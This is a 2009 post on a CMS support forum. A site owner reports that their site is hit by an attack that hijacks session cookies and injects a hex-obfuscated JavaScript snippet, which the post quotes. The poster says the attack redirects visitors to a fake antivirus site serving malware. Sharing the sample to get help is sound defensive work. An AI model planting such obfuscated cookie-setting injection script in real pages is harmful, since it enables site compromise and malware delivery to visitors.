https://www.icyphoenix.com/viewtopic.php?f=35&t=6519&p=44768#p44768
-----------------------------------
andrea75
Sat 03 Oct, 2009 10:44

Re: Malware? Spyware? Help Please!
-----------------------------------
I'm having similar atacks on my site on these days, and I'm investigating how to stop them. My situation is a little bit different, because they are using cookies to infect the site, and not changing file or using SQL injection on DB. All my files and DB are clean.
At this moment, the only thing that I tought is that the problem is on server side, but my hosting still say that the issue is on the CMS (another site with IP on the same serve is affected from same problem). I think I'll change my hosting soon, but I continue to investigate, to know better if there a re a way to stop  this kind of attacks, because it's very annoying to have an attack with a redirect without see any file changed!!! :| 

The way that they using are simple: they intercept the site cookie with session ID (I remove for security some numbers from ID codes):
[code linenumbers=false]n_sess_id8c2f6bdc702ee928d7b9d0535d******www.mysite.it/1600138298854430031586317765440300******
[/code]

and create another cookie using the ID session for another site:
[code linenumbers=false]red1makkahintro.com/15363916258944300316863196715440300******
[/code]

and insert on pages (don't tell me how) a script similar to this:
[code linenumbers=false]<script type="text/javascript" language="javascript"> var lprcb=new Date( ); lprcb.setTime(lprcb.getTime( )+12*60*60*1000); document.cookie="\x6e\x5f\x73\x65\x73s\x5f\x69d\x3d\x30\x64\x38\x657cba\x65\x64\x63\x39\x61\x34\x35\x371\x61\x62e\x37\x61\x37\x32\x35\x36\x64\x31e\x65\x617"+"\x3b\x20path=/;\x20expire\x73="+lprcb.toGMTString( ); </script> [/code]

to redirect who are visiting that page to a fake antivirus site, that contain a lot of malware ready to donwload on the visitor pc........
This is all I have take to understand better this problem, and I hope it can help some people that could have similar issue, and MG if he could try the way to block similar attacks in some way...........

I'll tell you some news when I'll have.


